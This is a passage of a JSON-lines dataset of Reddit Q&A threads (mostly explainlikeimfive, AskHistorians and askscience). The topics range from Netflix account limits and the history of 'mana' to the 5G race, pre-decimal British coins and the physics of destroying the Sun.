as it accumulates over time.  This leads to corrosion of the metal surface underneath the scale, which in turn causes overheating, and eventually, metal failure.\n\nBoiler failure is most often caused by poor water treatment.  This can lead to catastrophic failure of metal and boiler explosions.  Very bad.  The better your water treatment, the better and longer your boiler is likely to run.", "There is a lot of complex chemistry and physics going on but from what I remember from school is that CaCO3 (limescale) is one of the few components where solubility decreases as temperature increases. Most things become more soluble, for instance you can dissolve more salt or sugar in hotter water than colder water but CaCO3 will precipitate the hotter the water gets. That can answer the how part.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.pages.drexel.edu/~choyi/image.gif"]]}
{"q_id": "1j4n9g", "title": "how does netflix avoid multiple users per an account? couldn't everyone on reddit just share a single account?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1j4n9g/how_does_netflix_avoid_multiple_users_per_an/", "answers": {"a_id": ["cbb1pvr", "cbb1pwm", "cbb1qho", "cbb1ql0"], "score": [22, 11, 2, 2], "text": ["I believe they limit the number of devices on which you can have simultaneous streams running.", "Good question. I've been using my parent's account for years. Only restriction we've run into is that it only allows so many people to stream at one time. I think two people can be watching separate things at a time.", "They don't, really. I have an account that about three of my other friends use. However, netflix has a limit on how many devices can be active on the account at once (I believe its two.) This is how they prevent 50 or so people using the same account. ", "Netflix will limit the number of IP addresses that can access a given account at the same time.  So reddit could all use a single account, as long as everyone agrees who gets to use it when."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2ztaw8", "title": "if you have to have insurance to drive a car off a dealer's lot, how do you get insurance before you even have the car?", "selftext": "I'm 19 and bought my first car from a private party.  Didn't know how important insurance was, so I didn't get it.  Of course I ended up crashing my car, and now I'm looking to buy one from a dealer.  Please help!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ztaw8/eli5_if_you_have_to_have_insurance_to_drive_a_car/", "answers": {"a_id": ["cpm2i0d", "cpm2sg1", "cpm2xni", "cpm4uuu", "cpm5sne", "cpmgpb0"], "score": [7, 8, 4, 2, 2, 2], "text": ["You call your insurance company and tell them what kind of car you're going to buy.", "I just bought my car last week. Before they let you drive it off the lot they make you call and get insurance. The info is emailed to the dealer and your insurance is in place before you leave. ", "When I bought my car from the dealership, they gave me the VIN so that I could get it insured. Pretty easy process. I use Progressive, filled everything out online and printed copies of my insurance info to show the dealership when I was picking it up.", "For the OP's exact situation re: wrecked car, he's fucked. No insurance, bought the car private party. Should have known before.\n\nThat being said, with the dealer car they will require you to purchase insurance at the time of vehicle purchase and they won't let you drive it off the lot until they get proof of it. (Usually the insurance co will fax the proof to the dealer right after you hang up with them)", "Is car insurance not a legal requirement?\n\nIt is in the UK", "I added it on the Geico app when I agreed upon the price of the car with the dealer. Inputted the VIN, it took about 3 minutes and they emailed me verification cards.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "a45gwf", "title": "\"Mana\" is a real concept from Polynesian cosmologies. How did it come to enter Western pop culture as a standard term for points expended to power magic?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a45gwf/mana_is_a_real_concept_from_polynesian/", "answers": {"a_id": ["ebbt637", "ebbxhas", "ebc199t", "ebcbi98", "ebe4dng"], "score": [11, 72, 64, 974, 3], "text": ["I hope the answer will also cover this: Melanesian, Polynesian, or both? If both, do we know which one originally?", "To expand on the question a bit - It was used in the \u2018magic points\u2019 sense in Larry Niven\u2019s \u2018The magic goes away\u2019 in 1976. But that\u2019s hardly a pop culture touchstone. It\u2019s not used that way in early role playing games such as Dungeons  &  Dragons or Tunnels  &  Trolls. Is there an early computer game that may have spread the usage?", "Follow up question - how does the polynesian concept of mana compare to the abrahamic religion concept of manna? Both chronologically (as in, which one came first?) as well as the characteristics?", "In answering this I'm drawing heavily on Alex Golub and Jon Peterson, \"[How Mana Left the Pacific and Became a Video Game Mechanic](_URL_0_)\".\n\nThere seem to be three waves of 'mana' entering Western popular culture and taking its current form. The first wave consists of science fiction from the Golden Age, whose writers used the word in several different senses, thus presumably making their readers familiar with it. For example Poul Anderson in [Operation Chaos](_URL_1_) (1971) refers to the magical power of pagan religious symbols: \"although centuries have passed since anyone served those gods, the mana has not wholly vanished from their emblems\". Here 'mana' is indeed magical power, but it is not a finite or replenishable resource - you can't put a number to it. In the sense that Anderson is using the word, a cross repels a vampire because it has mana; it has a magical power inherent to it, which cannot be used up or transferred. Jack Vance (who of course is famous for inventing the entirely different magical system used in Dungeons and Dragons!) refers to 'mana' in \"The Moon Moth\" (1961) as a synonym for 'strakh', the personal quality which allows the Sirenese to wear particularly prestigious masks such as the \"Moon Moth\" or the \"Imperial Dragon Conqueror\". A man who goes about with an Imperial Dragon Conqueror mask without the strakh to back it up will find himself challenged to a dozen duels and, presumably, killed. The protagonist (and the reader) get an explanation of strakh early in the story, where the explainer simply lists a number of near-synonyms from Earth history: \n\n >  Prestige, face, mana, repute, glory: the Sirenese word is strakh. Every man has his characteristic strakh, which determines, when he needs a houseboat, whether he will be urged to avail himself of a floating palace... or grudgingly permitted an abandoned shack on a raft. There is no medium of exchange on Sirene; the single and sole currency is strakh. \n\nHere mana is not a magical quality at all, but some combination of personal charisma, forcefulness, and status; it inheres in individuals but cannot be used up or replenished (although you can presumably gain some by completing impressive works of art). Compare to 'whuffie' from Doctorow's \"Down and out in the Magic Kingdom\".\n\nThen, in \"The Magic Goes Away\" (1976, won the Nebula the same year), Larry Niven introduced the idea of mana as a depletable resource. In this setting, magic only works where the land has mana, and each use of magic burns up some mana; thus in the distant past there were gods and dragons, but simply by existing they reduced the mana below the level at which their metabolisms would work. (Obviously, a dragon can neither fly nor breathe fire without using magic, the aerodynamics are ridiculous.) What's left supports wizards, mermaids, werewolves, and such less-intense but still magical creatures; then someone invents a spell to quickly use up _all_ the mana in a small area... Parallels to the oil crisis are obvious. However, Niven's mana, while finite, is not replenishable, and inheres in land rather than people.\n\nThe next wave consists of roleplaying games and tabletop wargames - in the seventies the distinction is rather blurry. Now, Dungeons and Dragons famously uses \"Vancian magic\", not mana; that is to say, wizards memorise spells and then forget them on casting, and have to relearn them. (Sometimes this is instead presented as preparing the spell and leaving it hanging by going through all but the final few gestures and words required to cast it; in \"Trumps of Doom\" Zelazny has Merlin explicitly tell the reader that this is what he's doing. But the Merlin cycle is a mere Shadow of the Reality that is the Corwin cycle.) But in the \"Chainmail\" rules (1971) that were the precursor to D & D we find something much closer to a mana system: A wizard can cast between three and six spells per game, depending on their power, and these spells do not have to be chosen in advance as with Vancian magic. Although Chainmail does not use the term, you could regard this as a wizard having a set number of replenishable spell points, and each spell costing a point. \n\nAs mentioned, in D & D (first edition 1974) we have the memorisation system, where players choose before the scenario which spells they'll have access to. But the first edition was quite unclearly written, and it wasn't obvious that each memorised spell could only be used once; however, if you allow unlimited use, then even with the constraint of picking from a limited set in each adventure, the wizard will be fantastically overpowered. (Once-per-turn lightning bolts! Dragons _wish_ they had that kind of firepower!) So the players set about house-ruling in limits, and several of them independently invented the replenishable-personal-energy system, variously called \"goetic energy\", \"spell points\", or \"energy points\". At this point we've got \"mana\" (though it's not yet called that) as a personal magic energy, which can be restored with rest and which is entirely separate from charisma or personal forcefulness, nor can it reside in objects. \n\nThe name 'mana', at the time sometimes spelled 'manna' in apparent confusion with the miraculous food from the Bible, is introduced sometime in 1976 (note that this is the year \"The Magic Goes Away\" is published and wins the Nebula - there was considerable overlap, then as now, between roleplayers and F/SF fandom), apparently independently by several people. The first seems to be the \"Perrin Conventions\", a set of house rules that gave \"spell points\" based on the STR, INT and CON statistics of the wizard, and noted that the system is \"also known as the 'manna point system'\". The same year, Gygax published the first psionics rules for D & D; in my experience psionics add very little to the game and break the true fantasy flavour, and in later editions they've been very off-again, on-again, but in any case they always use some sort of replenishable personal energy. Several now-obscure game systems and D & D variants using \"mana\" or \"manna\" as the limiter on magic were published in the second half of the seventies; for example, \"Arduino Grimoire\" by David Hargrave in 1977 and \"Sword and Sorcery\" by Greg Costikyan in 1978.\n\nAt this point 'mana', both the specific word and the concept of personal magic energy, is pretty well established as an RPG convention - even though the most well-known RPG, Dungeons and Dragons, used Vancian magic for its main caster classes. So now we can trace the third wave, which is computer games. As early as Ultima III (1983), the constraint on magic was \"magic points\", abbreviated \"MP\" - which to a later eye could just as easily scan as \"mana points\". (I'll note in passing that the Ultima series was immensely popular and influential, defining a whole genre of top-down adventuring-party search-for-the-McGuffin-while-killing-orcs games, now unfortunately in eclipse.) Then, in Dungeon Master (1987) we get the actual word 'mana'; this, again, defined the 3D-dungeon genre, which we find echoes of in modern FPS games in their \"corridor-shooter\" incarnations - you're going through the dungeon with a machine gun instead of sword and spell, but the geography is the same. Then in 1989 Bullfrog published \"Populous\", the first \"god game\", designed by Peter Molyneux - also known for \"Dungeon Keeper\" (another genre definer!) and \"Fable\"; if you follow computer games at all you probably know the name. At this point, I'd say the mana is fairly out of the magic pouch; in 1996 \"Diablo\" - still another definer of a genre - used mana and mana potions without, so far as I can recall, feeling any need to explain what it was. \n\nHow mana got from computer games into broader pop culture is not quite clear to me, and anyway would get us into the 20-year window; but I think I can gesture somewhat at the increasing mainstream-ness of computer games, perhaps especially World of Warcraft. If you like, gamers now have a lot more mana, in the sense of 'strakh', than they used to; and so others have picked up their usages and jargon. Alas, we have yet to acquire mana in the sense of energy usable for casting spells; but who knows what 2020 will bring?", "Mana has always seemed to do 2 things, it explains what fuels magical power, as it is generally viewed as a finite magical power reserve inside of the magic user. So it explains where the magic comes from and how it can be used. Secondly, it serves as a balancing mechanic. Magic is supposed to be powerful and explosive and devastating and if the user could use as much as they want with no ritualistic cast time or use of some energy within themselves, then it would be too overpowered in any instance that it comes up. Almost universally whenever mana is in a game or a show or a story, it\u2019s a limiting factor on the otherwise unlimited power of magic users, and so it fits perfectly wherever there is magic to use used, be it pop culture, video games, stories, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://press-files.anu.edu.au/downloads/press/p343683/pdf/ch12.pdf", "https://books.google.com/books?id=GLxjDwAAQBAJ&amp;pg=PT232&amp;lpg=PT232&amp;dq=anderson+%22the+mana+has+not+wholly+vanished%22&amp;source=bl&amp;ots=qm13nHSgei&amp;sig=c_GXTEgOtOELJN361BLCoRiK1Sg&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwib2PKcuI_fAhVH1qwKHTJFBCwQ6AEwAXoECAEQAQ#v=onepage&amp;q=anderson%20%22the%20mana%20has%20not%20wholly%20vanished%22&amp;f=false"], []]}
{"q_id": "78zgo8", "title": "How did medieval Europeans explain the \"nightless nights\" in northern Scandinavia?", "selftext": "So recently I learned that in places like Lapland you can receive a full 24 hours of daylight at some points of the year, what did people in the middle ages think of this? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/78zgo8/how_did_medieval_europeans_explain_the_nightless/", "answers": {"a_id": ["doyku6s", "doyop8q"], "score": [64, 479], "text": ["Follow on question:\n\nHow did North American and Northern Asian peoples interpret the elongated days and nights?", "Medieval Europeans knew both that the earth was round and that the sun's course around it varied to create different lengths of day and night, from which they could readily infer (with varying degrees of accuracy) that there would be places which would have constant day or night. So, for example, Bede explains how the length of days and nights vary in summer and winter to an opposite and corresponding degree in the northern and southern hemispheres:\n\n > The reason why the same [calendar] days are of unequal length is the\nroundness of the Earth [...] The Earth being thus shaped and given to mortals as their habitation, the orbit of the Sun, which is always shining in this universe, gives\ndaylight to one place and leaves another in night by the firm decree of\nGod\u2019s law. [...] Again, it is necessary that the fiery Sun mount up the middle\norb of heaven at one and the same point in time through the whole\ncircle of the year for all who are placed facing one another in the same\n[vertical] line under the northern or the southern clime. However, it\ndoes not rise and set at the same moment or hour for both, but\ntravelling through the southern zone in wintertime, it rises earlier and\nsets later for those who inhabit the southern regions of Earth than [it\ndoes] for us who, placed towards the north, with the globe of the earth\nblocking the way, receive its rising later, and its setting earlier. But on\nthe other hand, in summer the Sun rises very much earlier for us who\nlive under the same latitude, and seems to remain much longer on the\npoint of setting [with us] than with those who dwell on Earth\u2019s southern\nflank. They are denied an earlier sight of [the Sun] by the imposition\nof the Earth, and then are obliged to renounce it sooner. Therefore they\nhave shorter days in summer than we do, but longer ones in winter.\n\nHe also notes the classical discussion of the quasi-mythical island of Thule, the furthest northern point of the inhabitable world:\n\n > In discussing these matters concerning the varying length of the solstitial\ndays, Pliny leaves the length of the winter [solstitial] days in those\nregions to be inferred. But he makes it equally clear what the length of\nthe night in both seasons is, because it is necessary that the days, be they\nof whatever length, make up, together with the night, a space of 24\nhours. But it should be noted that Solinus writes these things about\nThule in another vein: In uttermost Thule, when the Sun passes at the\nsummer solstice through the star Cancer, there is no night, and likewise no\nday at the winter solstice.\nNor does Pliny contradict this in his seventh book:The uttermost place of all they call Thule, in which we have indicated that there are no nights at the solstice when the Sun passes through the sign of Cancer, and on the other hand no days at the winter [solstice].\nSome are of the opinion that this happens for six months.\n\n(Bede, *On the Reckoning of Time*, 31-2 (trans. Wallis, 91-2).)\n\nThis idea that Thule had no night in the summer and no day in the winter was very well known. Not only was Solinus, as well as Bede, fairly widely read, but Isidore of Seville also mentions it in the Etymologies (probably the most widespread encyclopedia through the middle ages): \n\n > Ultima Thule (Thyle ultima) is an island of the Ocean in the northwestern region, beyond Britannia, taking its name from the sun, because there the sun makes its summer solstice, and there is no daylight beyond (ultra) this. Hence its sea is sluggish and frozen.\n\n(Isidore, *Etymologies*, 14.6.4 (trans. Barney et al., 294).)\n\nAlthough some authors interpret this to mean that Thule has 6 months of constant day and 6 months of constant night. For example, Honorius Augustodunensis in his widely read encyclopedia, the *Imago mundi*, describes Thule thus:\n\n >  [There is also] Thule, the trees of which never loose their leaves, and in which for 6 months, viz. in summer, there is continual day, [and] for 6 [months] in winter [there is] continual night. Beyond this to the north the sea is frozen and [it is] perpetually cold.\n\n >  >  Thile cuius arbores numquam folia deponunt, et in qua .vi. mensibus videlicet estivis est continuus dies, .vi. hiberis continua nox. Ultra hanc versus aquilonem est mare congelatum et frigus perpetuum. \n\n(Honorius, *Imago mundi*, 1.29 (ed. Flint, 62-3).)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ahzja7", "title": "how do people making subtitles for series online can configure it to work with all different mp4 files available?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ahzja7/eli5_how_do_people_making_subtitles_for_series/", "answers": {"a_id": ["eejqtc8", "eejr1dk", "eejr97o", "eejwxy6", "eek0xxt"], "score": [26, 5, 5, 3, 2], "text": ["They don't make it work with any mp4 file. Subtitles for downloaded movies are essentially huge files with timestamps and text. The video player doesn't care what file it plays, it will print text at given timestamps. That is why you usually can't use subtitle for release XYZ if you watch ABC release. \n\n\nIt is also why you can get silly things like a swedish politican saying he will bulld the galaxys best sand castle _URL_0_", "Subtitle files only specify when a specific line should appear on screen. As long as the video file isn't stretched in time (and there's no reason for it to be), the subtitles will fit.\n\nHowever, there are instances where the video would be cut at the beginning (e.g. someone would remove the production company logo, or a few seconds of blackness), and then the subtitles will be \"offset\" in time. That's why most video players let you shift the subtitles back and forward in time for a perfect sync.", "Because subtitles that aren't hardcoded into the movie are processed parallel to the movie and therefore they do not depend on the format of the movie. If the Subs are included into the Container, the Container needs to be able to contain Subs.", "Subtitle files are simply text files with time stamps.\n\n  \n\n\nThe video player reads the text files, and puts the text where it needs to be.", "MP4s are files with video and sound in them. Subtitles are words that are put on the screen in time with the video; usually the words that people are saying, or those words translated into another language. Subtitles can be included as part of the MP4 file, or as a separate file.\n\nWhen people make subtitles, they make a file that looks something like this:\n\n`00:12:34-00:12:42 Hello, Bob! How are you?`\n\nThe first part is the time in the video when the words should appear on the screen (here: 12 minutes and 34 seconds), what time they should disappear (12 minutes and 42 seconds), and the words that should appear on the screen (\"Hello, Bob! How are you?\"). For a movie, there's going to be thousands of lines of text like that -- pretty much the whole script of the movie. As a matter of fact, if you have the script, there are programs that will read the script and make subtitles (you have to add the times). There's also computer programs that will listen to the movie dialog and convert it into subtitles (like Siri or Alexa, but just for making subtitles).\n\nIf you already have subtitles in one language, you can just translate them line-by-line into a new language.\n\nThere's tools for taking these subtitles and sticking them into the MP4 file, and there are video players that allow you to load a movie and a subtitle file at the same time and play them at once.\n\nVideo players that are showing subtitles, simply keep track of the time and show the text at the time the file says it should appear, and hides it when the file says it should disappear.\n\nAs you might guess, you can mix and match any subtitles to any film. If the times people speak matches the time a subtitle appears, wonderful. If it doesn't, it can be very confusing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://tv.bt.com/tv/tv-news/the-funniest-ever-tv-subtitles-blooper-politicians-talk-sandcastles-and-dinosaurs-11364034525370"], [], [], [], []]}
{"q_id": "e8f7lt", "title": "what does it mean for a magnetic field to have a direction?", "selftext": "So, in an electric field the direction is away or towards the source of the field because if you put a charge in the field, the charge will move away or towards source. \nIn a magnetic field, though, I can't see what \"north to south\" means, or why the induction lines on a magnet are circular and have a direction.\nIf the direction is north to south, shouldn't it mean that something in the north pole will move itself to the south pole? Also, if we put a metal close to a magnet it would be attracted towards it, so shouldn't the direction of the field be towards the magnetic source, like in a electric field?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e8f7lt/eli5_what_does_it_mean_for_a_magnetic_field_to/", "answers": {"a_id": ["fabilp7", "facv7z1"], "score": [2, 2], "text": ["The simplest example of this is a compass. If a bar magnet is placed on a low friction balance set up, or floated in a dish of water, it will gradually align itself in the direction of the Earth's magnetic field.\n\nActually, if you use a set of 3-d gimbals to suspend the magnet, you'll find that the the direction of Earth's magnetic field actually points up out of the ground except near the equator. It doesn't run parallel to the ground like a standard compass might suggest.\n\nThis is all to say that an external magnetic field will exert a net torque on a magnet that works to orient the poles of the magnet parallel to the direction of the magnetic field. \n\nAnother example is placing a sheet of paper on top of a magnet and then sprinkling iron filings onto the sheet. The filings will tend to stick together in the direction of the field, forming linear structures. \n\nThis gives good evidence that a magnetic field is not isotropic, meaning it is not equal in any direction. Rather, it's effects depend on direction.", "If you move an electron through a magnetic field pointing in one direction, it will curve clockwise. If the magnetic field goes in the other direction, the electron will curve anticlockwise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bt6ejz", "title": "why is the race to 5g such a big deal. usa, china and south korea seems to all being doing well and are all nearing 5g. why is it a big deal who does it \"first\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bt6ejz/eli5_why_is_the_race_to_5g_such_a_big_deal_usa/", "answers": {"a_id": ["eouizmc", "eoujp6y", "eousjgl", "eoutkmw", "eoutnv4", "eouubnk", "eouwbti", "eov112m", "eov1m59", "eov4t67", "eovat0b", "eovdcw8", "eovxp7p", "eow7zlu"], "score": [493, 26, 9, 2, 44, 9, 2, 3, 13, 6, 2, 2, 2, 2], "text": ["There isn\u2019t really a race. It\u2019s just political pandering and news sensationilization.\n\nThere are benefits to having 5G connectivity, so each country is pursuing the technology independently. But there\u2019s no huge prize to getting it first, as the USA should have learnt with LTE.\n\n_URL_0_", "It\u2019s because the US has done well in 3G and 4G patent licensing via Qualcomm\u2019s efforts. If they lose to China in this patent war, it\u2019ll cause a massive shift in economy towards the East.\n\n[Further reading](_URL_0_)", "From what I understand the big difference between 5G and the internet as we currently know it is wavelengths. 5G requires a lot more accessible infrastructure (think street lights becoming hot spots) and once this is done then you\u2019ll have super high speed internet everywhere and anywhere evidently 5G can hit fiber speeds wirelessly or so I\u2019m told. So, I\u2019d imagine the bureaucratic rat race is over who develops and owns that infrastructure to deliver the service. A lot of companies are seeing the government try and own it so they can own the next World Wide Web infrastructure. I\u2019m sure China v USA falls in line w this vein of thinking.", "Some people have to have the very best of everything so if they want 5G and they don\u2019t mind switching providers, it might get the \u201cwinner\u201d a bigger market share at least for a time.", "It also requires (in most markets) an entire overhaul of the existing networks. Most companies who offer internet services (Telecom included) frankly don't know what they have. An extremely large portion of cable is unknown and even what they do know if they may not know how many individual fibers/copper pairs are being used. \n\n5G requires a fiber network in order to achieve the speed they advertise and a large amount of fibers (depending on the architecture). This is the main bottleneck right now as the Telecom companies are focusing on dense cities first and often times building in these locations is a nightmare and getting true 100% coverage is an extremely large, multi-year project. \n\nSource: currently working on a 5G build in the city of Chicago.", "There is an idea that 5G will allow to sprout a lot of new type of businesses. 4G was all about that broadband speed for us consumers. It appears that the consumer market is being saturated - there not that much profit to be made by drastically increasing speeds. The idea is to make mobile internet more reliable for so called - real-time and energy efficient applications (radio drains a lot of battery in our devices). These new applications will allow 5G network to be used for device communications in factories, warehouses. Previously businesses if they needed reliable wireless communication in their facilities had to order custom solutions. With 5G they will be able to just rent wireless radio from operator without big investments in infrastructure or hardware. The 5G standard is being developed in such a general way, that a lot of possibilities of entrepreneurs open up - therefore, a lot of new profit to be made.\n\nAlso, whoever does it first can dictate what hardware will become standard for everyone else.", "Australia already has 5g base stations, so does south Korea. Theyve had them since last year.", "The issue here is not just 5G, is that China companies are starting to lead technology development in all areas (quantummechanics, telecommunications, security, space technologies... Basically everything).\n\nThey already uncontestabily lead economic growth, and industrial production and are about to catch EEUU in most powerful army (on papper, still have to match EEUU army readiness).\n\nThe point here is: EEUU has 2 options. Stop them now or let them lead the world.\n\nThe extension, significanse and consecuences of \"stoping them now\" depends on a lot of factors.", "There is a concept of [ First Mover Advantage](_URL_0_) basically the pioneer of a new market has certain benefits by being the first things like defining the standards and protocols that everyone else has to follow.", "Nothing, I also work for a top tier carrier. It's all about money and hype. 5G is better than 4G so pay more for it. Technically the 3GPP (the governing standards body who determines the standards that all carriers follow) standards for 5G are not even complete yet. They won't be completed until the next standards release 1 to 2 years from now. What we have now is pre 5G standards or the beginning of 5G but carriers are marketing it as true 5G but it's not.", "It's more of a race to see who can benefit the most from it. The first one to successfully develop the newest and fastest Internet connection is going to get a lot of money from what they can earn with it.\n\nThe problem is that it is costly and a lot of companies don't seem to want to invest into it. I would argue that US is quite a far away away from it because of the consolidation of telecommunication companies over the years. The lack of competition and the establishment of de facto monopolies for high speed Internet has really stymied the growth of US Internet. In my area, we did not even get true broadband (our broadband was advertised as 3.0 Mbps) until about 5 years ago when Internet speeds were 10x faster just about 3 miles away.", "Whoever gets there \"first\" has the advantage of being the first one to market. The big customers are likely to sign with whoever can get the service rolled out earliest, and it is *much* easier to keep an existing customer than to get a new customer.", "The race is about getting people buying the \u201cfirst 5G\u201d\n\nWith that said. The thing Verizon is calling 5G is just a marketing ploy.\n\nSource: \nMe, worked with developing it for the US and Verizon.", "Despite common misconceptions (which are 100% pushed for by the people selling the product) a \"G\" is not gigabytes per second or any other measurement. The term \"G\" is just a marketing term. It stands for \"generation,\" and it is completely arbitrary. \n\nAny \"big deal\" you see being made about it is just the modern version of a commercial."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.theverge.com/2019/5/23/18637213/5g-race-us-leadership-china-fcc-lte"], ["https://www.reuters.com/article/us-qualcomm-m-a-broadcom-5g-idUSKCN1GR1IN"], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/First-mover_advantage"], [], [], [], [], []]}
{"q_id": "10ua7w", "title": "wwii british money", "selftext": "I've been watching a lot of WWII dramas lately (latest was Foyle's War), and I'm baffled by the British coin system. They keep talking about 'quids' and 'bobs', 'pences' and 'shillings', and of course 'pound', but I have no idea how to make sense of it. How much is '35 bob', for example? Was that a lot? What's the difference between a bob and a shilling? In 1943, how many shillings in a pound? Has it changed?\n\nAs an extra credit question, I'd like to ask why was the money so darn THIN. The pound notes that I saw on the show were made out of really, really thin paper. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10ua7w/eli5_wwii_british_money/", "answers": {"a_id": ["c6gozv1", "c6gp02k", "c6gtljl"], "score": [2, 5, 2], "text": ["England has a lot of slang for its money. The U.S. kind of has that too - what's the difference between a buck, a dollar, a bill, bread, cash, dough, etc?\n\nAnyway, 'quid' = pound. 1 Pound is the closest British equivalent to a U.S. Dollar (though the exchange rate is variable, of course). A pound used to be equal to 20 Shillings, and a Shilling was equal to 12 pence (pennies).\n\nThey also had various names for different sizes of coins. Just like the U.S. has penny, nickel, dime, and quarter (as well as the less known and rarely used anymore coins like the three-cent piece, half-dollar, or golden eagle), England had Crown (5 shillings), haypenny (half-penny), and several others I'm not familiar with.\n\nI have no idea what a \"bob\" is in that context, though it might refer to shillings.", "Also, wiki page: _URL_0_", "[this](_URL_0_) has most of the slang that they're likely to use.\n\nor for the lazy\n\n2 farthings = 1 halfpenny\n\n2 halfpence = 1 penny\n\n3 pence = 1 thruppence \n\n6 pence = 1 sixpence (a 'tanner') \n\n12 pence = 1 shilling (a bob) \n\n2 shillings = 1 florin ( a 'two bob bit') \n\n2 shillings and 6 pence = 1 half crown \n\n5 shillings = 1 Crown \n\nA \u00a31 coin was called a Sovereign and was made of gold.\n\nA paper pound often was called a quid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/British_money#Pre-decimal"], ["http://www.woodlands-junior.kent.sch.uk/customs/questions/moneyold.htm"]]}
{"q_id": "497l89", "title": "Would it be possible to kill a star with the technology we currently have?", "selftext": "I saw a post in /r/all that got me thinking about this. Specifically, the Sun. Is it possilbe?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/497l89/would_it_be_possible_to_kill_a_star_with_the/", "answers": {"a_id": ["d0pmtfe", "d0pq4i4", "d0pulkg", "d0q5vhf", "d0qe06u"], "score": [798, 58, 8, 4, 8], "text": ["No, the Sun is just too damn big. \n\nTo get a sense of the numbers involved here, let's try the crudest approach possible: blowing the Sun apart, for example by hitting it with nukes. To completely rip apart the Sun, we would need to overcome what is called its [gravitational binding energy](_URL_0_). This energy is the sum of all the attractive forces between all the bits of matter that make up the Sun. To get a rough estimate of this energy, we can use a crude approximation, namely that of a sphere with a uniform density. In that case the gravitational binding energy (E) will be equal to\n\nE = 3GM^2 / 5R, \n\nwhere G is the gravitational constant, M is the mass of the sphere, and R is its radius. \n\nGoing through the math you get a whopping 7\\*10^(41)J. This is an *insane* amount of energy! To get a better feel for just how much it is, we can convert it to [TNT equivalent mass](_URL_2_) (i.e. the amount of TNT needed to create an explosion that would release that much energy), which in this case comes out to 2\\*10^26 megatons of TNT. \n\nNow the most powerful hydrogen bomb developed during the Cold War, namely the [Tsar Bomba](_URL_1_) only had a paltry yield of 50 megatons in comparison. Putting the two numbers side by side, I think it's easy to see how incredibly, incredibly hard it would be for us to ever scrounge up enough firepower to blow up the Sun.", "There are ways that it could theoretically be done, though it is still maybe a couple centuries away. It is possible, in the math at least, to create a black hole using lasers ([the Schwartzchild Kugelblitz](_URL_0_)). Launching this into the sun at the correct angle would leave the black hole bouncing around the sun until it eventually ate the entire thing.", "Suppose we found a smallish black hole nearby - right at the lower limit of black holes in the wild. Could we hypothetically use the \"gravitational tractor beam\" effect to nudge it into a collision course with the Sun?", "The question might be worded as, \"if we had to blow up a star how long would we need to develop the technology?\"\n\nFor that question consider a war footing economy devoting 10% of the effort to one cause and the GDP of the earth involved. Maybe other earths, and technology utilizing planets and the output of a star for power. Over a few centuries or maybe millennia something useful might be constructed. What though?\n\nWays to destroy large things sometimes involve hitting them with other large things. In this case there may be tricks to drag another sun in to impact a sun. Hard to drag things in space-- particularly when they're 4 to 8 light years away and have a lot of their own momentum. Its possible we could funnel their solar output in one direction, make a warped star that exhausts like a rocket. \n\nAnother method might be to mess with the internal structure of the sun to turn off its nuclear fission. Fission isn't going on everywhere in the sun. Its concentrated deep inside. The sequence that supports fission requires several constituent parts. We might be able to flood the sun with Carbon or nanomachines to make it turn off. ", "One way you might be able to do it without expending an enormous amount of energy: use gravitational slingshots to perturb a series of objects that get more and more massive.  For example use rockets or sails to perturb a small asteroid enough for it to closely fly by a slightly larger asteroid, setting it on juuuust the right trajectory to impact a slightly larger one, and so on,  with small moons, small planets, on to larger planets and finally using a Jupiter size planet to perturb a small star, into another star.  The objects could be across multiple systems.  The challenge is to successfully model and calculate the necessary moves which need to be choreographed (extrapolating very far into the future, this would take a LOOOOOOONG time). It also requires measurements / instruments far more precise than we have today. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Gravitational_binding_energy", "http://en.wikipedia.org/wiki/Tsar_Bomba", "http://en.wikipedia.org/wiki/TNT_equivalent"], ["https://youtu.be/EzZGPCyrpSU?t=7m41s"], [], [], []]}
{"q_id": "4nnk02", "title": "why do porn videos tend to have completely nonsensical titles?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nnk02/eli5_why_do_porn_videos_tend_to_have_completely/", "answers": {"a_id": ["d45d0jg"], "score": [5], "text": ["Probably because there's so many porn films made that all the obvious titles have been taken. There's a limit to how many combinations of Tits, Arse, etc you can make. \n\nOnce you have Teenage Ass $%^\"ers, you can't have it again, I suppose. So you have to end up with Bambi Meets Godzilla And The Wife Swappers In Bangkok. (which wasn't bad, as it happens)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
